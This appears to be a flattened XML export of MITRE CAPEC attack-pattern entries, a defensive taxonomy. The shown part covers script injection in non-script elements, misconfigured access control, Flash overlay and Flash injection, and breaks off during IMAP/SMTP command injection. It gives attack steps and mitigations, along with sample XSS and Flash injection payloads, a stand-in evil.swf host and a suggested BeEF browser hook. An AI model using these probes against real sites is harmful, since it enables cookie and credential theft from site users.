Related_Attack_Pattern_7861 + + + + + + + + + + + + + + 588 + + + + + + + + + + + + #indAttackStepAttackStep7864 + Attack_Step_7864 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for user-controllable inputs] Using a browser or an automated tool, an adversary records all entry points for inputs that happen to be reflected in a client-side non-script element. These non-script elements can be located in the HTML content (head, body, comments), in an HTML tag, XML, CSS, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all non-static links that are likely to have input parameters (through forms, URL, fragments, etc.) actively used by the Web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep7872 + Attack_Step_7872 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe identified potential entry points for XSS vulnerability] The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side non-script elements context and observe system behavior to determine if script was executed. Since these probes may have to be injected in many different types of non-script elements, they should cover a variety of possible contexts (CSS, HTML tag, XML, etc.).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side non-script elements context and observe system behavior to determine if script was executed. Since these probes may have to be injected in many different types of non-script elements, they should cover a variety of possible contexts (CSS, HTML tag, XML, etc.).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record results of the created requests.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep7880 + Attack_Step_7880 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Create malicious XSS content] Once the adversary has determined which entry points are vulnerable to XSS, they will interact with the web application to store the malicious content. Because of the nature of this attack, it is mostly carried out through stored XSS, although it is possible to perform this attack using reflected XSS. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from a victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Store a malicious script on a page, disguised as a non-script element, that will execute when viewed by the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a tool such as BeEF to store a hook into the web application. This will alert the adversary when the victim has accessed the content and will give the adversary control over the victim's browser, allowing them access to cookies, user screenshot, user clipboard, and more complex XSS attacks.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep7887 + Attack_Step_7887 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Get victim to view stored content] In order for the attack to be successful, the victim needs to view the stored malicious content on the webpage.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send a phishing email to the victim containing a URL that will direct them to the malicious stored content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Simply wait for a victim to view the content. This is viable in situations where content is posted to a popular public forum.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target client software must allow the execution of scripts generated by remote hosts.</xhtml:div> + + + + + + + + + + + + #indSkillSkill7899 + Skill_7899 + + + + + + + + + + + + + + To achieve a redirection and use of less trusted source, an adversary can simply edit content such as XML payload or HTML files that are sent to client machine. + + + + + + + + + + + + #indSkillSkill7900 + Skill_7900 + + + + + + + + + + + + + + Exploiting a client side vulnerability to inject malicious scripts into the browser's executable process. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to include malicious script in document, e.g. HTML file, or XML document. Ability to deploy a custom hostile service for access by targeted clients. Ability to communicate synchronously or asynchronously with client machine</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence7906 + Consequence_7906 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence7913 + Consequence_7913 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In addition to the traditional input fields, all other user controllable inputs, such as image tags within messages or the likes, must also be subjected to input validation. Such validation should ensure that content that can be potentially interpreted as script by the browser is appropriately filtered.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">All output displayed to clients must be properly escaped. Escaping ensures that the browser interprets special scripting characters literally and not as script to be executed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An online discussion forum allows its members to post HTML-enabled messages, which can also include image tags. A malicious user embeds JavaScript in the IMG tags in their messages that gets executed within the victim's browser whenever the victim reads these messages.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;&amp;lt;img src=javascript:alert('XSS')&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When executed within the victim's browser, the malicious script could accomplish a number of adversary objectives including stealing sensitive information such as usernames, passwords, or cookies.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 80 + + + + + + + + + + + + #indReferenceReference7933 + Reference_7933 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory7935 + Content_History_7935 + + + + + + + + + + + + + + + + #indSubmissionSubmission7936 + Submission_7936 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification7941 + Modification_7941 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification7947 + Modification_7947 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Examples-Instances, Related_Attack_Patterns, Related_Vulnerabilities, Related_Weaknesses, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification7953 + Modification_7953 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Execution_Flow + + + + + + + + + + + + #indModificationModification7959 + Modification_7959 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #indModificationModification7965 + Modification_7965 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName7971 + Previous_Entry_Name_7971 + + + + + + + + + 2017-05-01 + + + + + Embedding Scripts in Non-Script Elements + + + + + + + + + + + + #CAPEC-180 + Exploiting Incorrectly Configured Access Control Security Levels + + + + + + + + + 180 + + + + + Exploiting Incorrectly Configured Access Control Security Levels + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Most commonly, attackers would take advantage of controls that provided too little protection for sensitive activities in order to perform actions that should be denied to them. In some circumstances, an attacker may be able to take advantage of overly restrictive access control policies, initiating denial of services (if an application locks because it unexpectedly failed to be granted access) or causing other legitimate actions to fail due to security. The latter class of attacks, however, is usually less severe and easier to detect than attacks based on inadequate security restrictions. This attack pattern differs from CAPEC 1, "Accessing Functionality Not Properly Constrained by ACLs" in that the latter describes attacks where sensitive functionality lacks access controls, where, in this pattern, the access control is present, but incorrectly configured.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern7985 + Related_Attack_Pattern_7985 + + + + + + + + + + + + + + 122 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern7986 + Related_Attack_Pattern_7986 + + + + + + + + + + + + + + 17 + + + + + + + + + + + + #indAttackStepAttackStep7989 + Attack_Step_7989 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey] The attacker surveys the target application, possibly as a valid and authenticated user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Spider the web site for all available links.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Brute force to guess all function names/action with different privileges.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep7996 + Attack_Step_7996 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify weak points in access control configurations] The attacker probes the access control for functions and data identified in the Explore phase to identify potential weaknesses in how the access controls are configured.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker attempts authenticated access to targeted functions and data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker attempts unauthenticated access to targeted functions and data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker attempts indirect and side channel access to targeted functions and data.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep8004 + Attack_Step_8004 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Access the function or data bypassing the access control] The attacker executes the function or accesses the data identified in the Explore phase bypassing the access control.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker executes the function or accesses the data not authorized to them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must apply access controls, but incorrectly configure them. However, not all incorrect configurations can be exploited by an attacker. If the incorrect configuration applies too little security to some functionality, then the attacker may be able to exploit it if the access control would be the only thing preventing an attacker's access and it no longer does so. If the incorrect configuration applies too much security, it must prevent legitimate activity and the attacker must be able to force others to require this activity..</xhtml:div> + + + + + + + + + + + + #indSkillSkill8015 + Skill_8015 + + + + + + + + + + + + + + In order to discover unrestricted resources, the attacker does not need special tools or skills. They only have to observe the resources or access mechanisms invoked as each action is performed and then try and access those access mechanisms directly. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence8021 + Consequence_8021 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence8025 + Consequence_8025 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence8029 + Consequence_8029 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence8034 + Consequence_8034 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence8038 + Consequence_8038 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence8043 + Consequence_8043 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Configure the access control correctly.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For example, an incorrectly configured Web server, may allow unauthorized access to it, thus threaten the security of the Web application.</xhtml:div> + + + + + 732 + + + + + 1190 + + + + + 1191 + + + + + 1193 + + + + + 1220 + + + + + 1268 + + + + + 1280 + + + + + 1297 + + + + + 1311 + + + + + 1315 + + + + + 1318 + + + + + 1320 + + + + + 1321 + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowServicesFilePermissionsWeaknesses + Hijack Execution Flow: Services File Permissions Weaknesses + + + + + + + + + + + + + + 1574.010 + + + + + Hijack Execution Flow: Services File Permissions Weaknesses + + + + + + + + + + + + #indReferenceReference8076 + Reference_8076 + + + + + + + + + REF-29 + + + + + + + + + + + + #indReferenceReference8078 + Reference_8078 + + + + + + + + + REF-30 + + + + + OWASP Top 10 2007 A3 – Malicious File Execution + + + + + + + + + + + + #indContentHistoryContentHistory8080 + Content_History_8080 + + + + + + + + + + + + + + + + #indSubmissionSubmission8081 + Submission_8081 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification8086 + Modification_8086 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification8092 + Modification_8092 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification8098 + Modification_8098 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification8104 + Modification_8104 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification8110 + Modification_8110 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Resources_Required + + + + + + + + + + + + #indModificationModification8116 + Modification_8116 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases, References + + + + + + + + + + + + #indModificationModification8122 + Modification_8122 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Consequences + + + + + + + + + + + + #indModificationModification8128 + Modification_8128 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow, Related_Weaknesses, Skills_Required + + + + + + + + + + + + #indModificationModification8134 + Modification_8134 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification8140 + Modification_8140 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification8146 + Modification_8146 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification8152 + Modification_8152 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification8158 + Modification_8158 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-181 + Flash File Overlay + + + + + + + + + 181 + + + + + Flash File Overlay + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker creates a transparent overlay using flash in order to intercept user actions for the purpose of performing a clickjacking attack. In this technique, the Flash file provides a transparent overlay over HTML content. Because the Flash application is on top of the content, user actions, such as clicks, are caught by the Flash application rather than the underlying HTML. The action is then interpreted by the overlay to perform the actions the attacker wishes.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern8170 + Related_Attack_Pattern_8170 + + + + + + + + + + + + + + 103 + + + + + 403 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim must be tricked into navigating to the attackers' decoy site and performing the actions on the decoy page.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim's browser must support invisible Flash overlays.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to force the Flash overlay over the decoy content.</xhtml:div> + + + + + 1021 + + + + + + + + + + + + #indContentHistoryContentHistory8184 + Content_History_8184 + + + + + + + + + + + + + + + + #indSubmissionSubmission8185 + Submission_8185 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification8190 + Modification_8190 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification8196 + Modification_8196 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-182 + Flash Injection + + + + + + + + + 182 + + + + + Flash Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern8209 + Related_Attack_Pattern_8209 + + + + + + + + + + + + + + 137 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern8210 + Related_Attack_Pattern_8210 + + + + + + + + + + + + + + 248 + + + + + + + + + + + + #indAttackStepAttackStep8213 + Attack_Step_8213 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find Injection Entry Points] The attacker first takes an inventory of the entry points of the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Spider the website for all available URLs that reference a Flash application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">List all uninitialized global variables (such as _root.*, _global.*, _level0.*) in ActionScript, registered global variables in included files, load variables to external movies.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep8220 + Attack_Step_8220 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine the application's susceptibility to Flash injection] Determine the application's susceptibility to Flash injection. For each URL identified in the explore phase, the attacker attempts to use various techniques such as direct load asfunction, controlled evil page/host, Flash HTML injection, and DOM injection to determine whether the application is susceptible to Flash injection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Test the page using direct load asfunction, getURL,javascript:gotRoot("")///d.jpg</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Test the page using controlled evil page/host, http://example.com/evil.swf</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Test the page using Flash HTML injection, "'&gt;&lt;img src='asfunction:getURL,javascript:gotRoot("")//.jpg' &gt;</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Test the page using DOM injection, (gotRoot(''))</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep8229 + Attack_Step_8229 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Inject malicious content into target] Inject malicious content into target utilizing vulnerable injection vectors identified in the Experiment phase</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must be capable of running Flash applications. In some cases, the victim must follow an attacker-supplied link.</xhtml:div> + + + + + + + + + + + + #indSkillSkill8239 + Skill_8239 + + + + + + + + + + + + + + The attacker needs to have knowledge of Flash, especially how to insert content the executes commands. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack. The attacker may need to be able to serve the injected Flash content.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence8245 + Consequence_8245 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Information Leakage</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence8250 + Consequence_8250 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence8254 + Consequence_8254 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence8258 + Consequence_8258 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence8263 + Consequence_8263 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence8270 + Consequence_8270 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: remove sensitive information such as user name and password in the SWF file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: use validation on both client and server side.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: remove debug information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: use SSL when loading external data</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: use crossdomain.xml file to allow the application domain to load stuff or the SWF file called by other domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In the following example, the SWF file contains&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;getURL('javascript:SomeFunc("someValue")','','GET')&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A request like&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;http://example.com/noundef.swf?a=0:0;alert('XSS')&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;becomes&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;javascript:SomeFunc("someValue")?a=0:0;alert(123)&lt;/xhtml:div&gt; + </xhtml:div> + + + + + 20 + + + + + 184 + + + + + 697 + + + + + + + + + + + + #indReferenceReference8299 + Reference_8299 + + + + + + + + + REF-46 + + + + + + + + + + + + #indReferenceReference8300 + Reference_8300 + + + + + + + + + REF-47 + + + + + + + + + + + + #indReferenceReference8301 + Reference_8301 + + + + + + + + + REF-48 + + + + + + + + + + + + #indContentHistoryContentHistory8303 + Content_History_8303 + + + + + + + + + + + + + + + + #indSubmissionSubmission8304 + Submission_8304 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification8309 + Modification_8309 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification8315 + Modification_8315 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification8321 + Modification_8321 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required + + + + + + + + + + + + #indModificationModification8327 + Modification_8327 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Consequences + + + + + + + + + + + + #indModificationModification8333 + Modification_8333 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-183 + IMAP/SMTP Command Injection + + + + + + + + + 183 + + + + + IMAP/SMTP Command Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern8346 + Related_Attack_Pattern_8346 + + + + + + + + + + + + + + 248 + + + + + + + + + + + + #indAttackStepAttackStep8349 + Attack_Step_8349 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify Target Web-Mail Server] The adversary first identifies the web-mail server they wish to exploit.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep8354 + Attack_Step_8354 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify Vulnerable Parameters] Once the adversary has identified a web-mail server, they identify any vulnerable parameters by altering their values in requests. The adversary knows that the parameter is vulnerable if the web-mail server returns an error of any sort. Ideally, the adversary is looking for a descriptive error message.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assign a null value to a parameter being used by the web-mail server and observe the response.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Assign a random value to a parameter being used by the web-mail server and observe the response.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Add additional values to a parameter being used by the web-mail server and observe the response.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Add non standard special characters (i.e.: \\, ', ", @, #, !, |) to a parameter being used by the web-mail server and observe the response.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Eliminate a parameter being used by the web-mail server and observe the response.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep8364 + Attack_Step_8364 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine Level of Injection] After identifying all vulnerable parameters, the adversary determines what level of injection is possible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Evaluate error messages to determine what IMAP/SMTP command is being executed for the vulnerable parameter. Sometimes the actually query will be placed in the error message.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If there aren't descriptive error messages, the adversary will analyze the affected functionality to deduce the possible commands that could be being used by the mail-server.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep8371 + Attack_Step_8371 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Inject IMAP/SMTP Commands] The adversary manipulates the vulnerable parameters to inject an IMAP/SMTP command and execute it on the mail-server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Structure the injection as a header, body, and footer. The 